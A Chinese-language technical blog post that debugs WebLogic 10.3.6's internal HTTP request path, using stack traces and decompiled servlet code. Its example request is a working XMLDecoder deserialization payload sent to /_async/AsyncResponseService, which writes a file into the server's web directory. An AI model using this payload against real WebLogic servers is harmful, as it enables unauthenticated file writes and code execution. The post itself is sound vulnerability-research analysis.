#Weblogic请求包路径分析

0x00 问题描述

Weblogic 10.3.6, Post访问:

http://172.16.100.97:7001/_async/AsyncResponseService

 <?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:ads="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <ads:Action>demo</ads:Action>
        <ads:RelatesTo>test</ads:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                    <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
                    <void method="println">
                        <string>xmldecoder_vul_test4445</string>
                    </void>
                    <void method="close"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    
    <soapenv:Body>
    	<asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

信息 1 Post Body

然后在processRequest处下断点,查看路径:

handleRequest:20, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

信息 2 请求栈

可以看到,路径还是很深的,其中涉及到多个模块。大致的流程是:

  1. 有个线程在不停地消费请求
  2. 初始化请求的Servlet上下文
  3. 由BaseWSServlet的service执行这个请求
  4. BaseWSServlet执行自己的处理逻辑,自重载的service开始执行process到handleRequest

上述还有很多细节,下一小节会详细展开。

另外还有一个问题,就是步骤1消费的请求是哪来的?当然,是我们的URL请求生成的。为了分析的完整性,还是需要分析一下请求生成的路径。

0x01 路径分析

1. 请求生成路径分析

接着上图信息2继续分析,因为栈底的run:221, ExecuteThread在消费请求,那么我们看看请求是谁喂的。

先看看ExecuteThread的代码:

   public void run() {
        ...

        while(true) {
            while(true) {
                try {
                    if (this.workEntry != null) {
                        this.execute(this.workEntry.getWork());
                    }

                    WorkAdapter var1 = this.workEntry;
                    this.reset();
                    RequestManager.getInstance().registerIdle(this, var1);
                    var1 = null;
                    if (this.workEntry == null) {
                        this.waitForRequest();
                    }
                } catch (ShutdownError var4) {
                    ...
    }

信息 3 run

显然,被消费的请求就是workEntry,且这个线程是死循环在执行任务。

经过阅读代码和断点调试尝试,找到了丢请求任务的代码:

来自weblogic/servlet/internal/MuxableSocketHTTP.class

private void resolveServletContext(String var1) throws IOException {
    ServletContextManager var2 = this.httpServer.getServletContextManager();  
    ContextVersionManager var3 = null;
    if (var1 != null) {
        var3 = var2.resolveVersionManagerForURI(var1);	------4.1
    }

    if (var3 == null) {
        this.handleNoContext();	------4.2
    } else {
        WebAppServletContext var4;
        if (var3.isVersioned()) {
            this.request.initContextManager(var3);
            var4 = this.request.getContext();
            this.request.getSessionHelper().resetSession(true);
            this.request.getRequestParameters().resetQueryParams();
        } else {
            var4 = var3.getContext(this.request.isAdminChannelRequest());
            this.request.initContext(var4);
        }

        this.response.initContext(var4);
        if (HTTPDebugLogger.isEnabled()) {
            HTTPDebugLogger.debug("Servlet Context: " + var4 + " is resolved for request: '" + this.request.toStringSimple() + "'");
        }

        if (this.initAndValidateRequest(var4)) {
            WorkManager var5 = this.request.getServletStub().getWorkManager();
            if (var5 == null) {
                throw new AssertionError("Could not determine WorkManager for : " + this.request);
            } else {
                var5.schedule(this.request); ------4.3
            }
        }
    }
}

信息 4

这个函数很重要,在4.1处根据传入的请求路径找到对应的servlet,然后初始化请求数据包,在4.3处将请求包丢出去消费。

image-20200130203201302

信息 5

请求参数就是我们的路径uri: /_async/AsyncResponseService

根据这个uri,resolveVersionManagerForURI匹配servlet:

resolveVersionManagerForURI -> resolveVersionManagerForURI -> lookupVersionManager:

ContextVersionManager lookupVersionManager(String var1) {
    return (ContextVersionManager)this.contextTable.get(var1);
}

信息 6

看看这个contextTable内容是啥?

image-20200130212409185

信息 7

里面有我们的/_async。 展开看下/_async对应的servlet是哪个?

image-20200130214009238

信息 8

可以看到,/_async下面有多个uri,每个uri有一个servlet映射,比如我们请求url中的/AsyncResponseService对应的servlet就是WebappWSServlet。详情见下表:

URI Servlet
/AsyncResponseServiceSoap12Https weblogic.wsee.server.servlet.WebappWSServlet
/AsyncResponseServiceSoap12Jms weblogic.wsee.server.servlet.WebappWSServlet
/AsyncResponseServiceSoap12 weblogic.wsee.server.servlet.WebappWSServlet
/AsyncResponseServiceJms weblogic.wsee.server.servlet.WebappWSServlet
AsyncResponseServiceServlethttps weblogic.wsee.server.servlet.WebappWSServlet
/AsyncResponseService weblogic.wsee.server.servlet.WebappWSServlet

信息 9

其实/_async下面的URI对应的Servlet都是WebappWSServlet

继续执行完resolveVersionManagerForURI,在信息 4中,initAndValidateRequest函数会设置找到的servlet到request中并丢出去。注意,如果用户提交的url不合法,即找不到app context,在4.2中直接返回404。

那么,这些个contextTable是哪来的呢?可以看到有一些registerContext函数,下个断点。重启一下Weblogic docker。

可以看到registerContext被调用了:

registerContext:146, ServletContextManager (weblogic.servlet.internal)
doPostContextInit:437, HttpServer (weblogic.servlet.internal)
loadWebApp:428, HttpServer (weblogic.servlet.internal)
registerWebApp:976, WebAppModule (weblogic.servlet.internal)
prepare:384, WebAppModule (weblogic.servlet.internal)
prepare:176, ScopedModuleDriver (weblogic.application.internal.flow)
prepare:199, ModuleListenerInvoker (weblogic.application.internal.flow)
next:517, DeploymentCallbackFlow$1 (weblogic.application.internal.flow)
nextState:52, StateMachineDriver (weblogic.application.utils)
prepare:159, DeploymentCallbackFlow (weblogic.application.internal.flow)
prepare:45, DeploymentCallbackFlow (weblogic.application.internal.flow)
next:648, BaseDeployment$1 (weblogic.application.internal)
nextState:52, StateMachineDriver (weblogic.application.utils)
prepare:191, BaseDeployment (weblogic.application.internal)
prepare:44, SingleModuleDeployment (weblogic.application.internal)
next:348, BackgroundDeploymentService$1 (weblogic.application.internal)
nextState:52, StateMachineDriver (weblogic.application.utils)
run:273, BackgroundDeploymentService$BackgroundDeployAction (weblogic.application.internal)
run:336, BackgroundDeploymentService$OnDemandBackgroundDeployAction (weblogic.application.internal)
OnDemandURIAccessed:188, BackgroundDeploymentService (weblogic.application.internal)
loadOnDemandURI:106, OnDemandManager (weblogic.servlet.internal)
run:712, MuxableSocketHTTP$2 (weblogic.servlet.internal)
run:545, SelfTuningWorkManagerImpl$WorkAdapterImpl (weblogic.work)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

信息 10

也就是,当一个新的webapp被安装的时候就会注册这个上下文。

以上,详细介绍了用户输入一个合法的weblogic url,是如何生成request数据包的,接下来,我们看看weblogic是如何消费这个request数据包的。

2. 请求消费路径分析

信息 2中,我们已经看到了消费的栈。本小节我们稍微详细看看。

首先一个请求都会走到service函数,这里即service:820, HttpServlet (javax.servlet.http)。相关代码来自weblogic/servlet/internal/StubSecurityHelper.class:

    public Object run() {
        try {
            if (this.stub == this.reqi.getServletStub() && this.stub.isFutureResponseServlet()) {
                this.reqi.enableFutureResponse();
            }

            this.servlet.service(this.req, this.rsp);
            return null;
        } catch (Throwable var2) {
            return var2;
        }
    }
}

信息 11

即调用this.servlet.service。由上一小节分析可知,这里的servlet为weblogic.wsee.server.servlet.WebappWSServlet。而WebappWSServlet的类关系如下:

WebappWSServlet —> BaseWSServlet —> HttpServlet

public class WebappWSServlet extends BaseWSServlet {
    public WebappWSServlet() {
    }

    public DeployInfo loadDeployInfo() throws ServletException {
        return ServletDeployInfo.load(this);
    }
}

信息 12

这也是我们在信息2中看到BaseWSServletHttpServlet,而没有看到WebappWSServlet的原因。

剩下的就是BaseWSServlet自己的请求包处理逻辑了。略过。

这里再附上另一个例子供对比参考:

请求:http://172.16.100.97:7001/wls-wsat/CoordinatorPortType

栈:

processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

信息 13

可以看到,对应这个请求,响应的是JAXWSServlet这个servlet了。

0x02 总结

本文主要介绍了weblogic下的http请求,包括请求的内部生成逻辑和响应逻辑。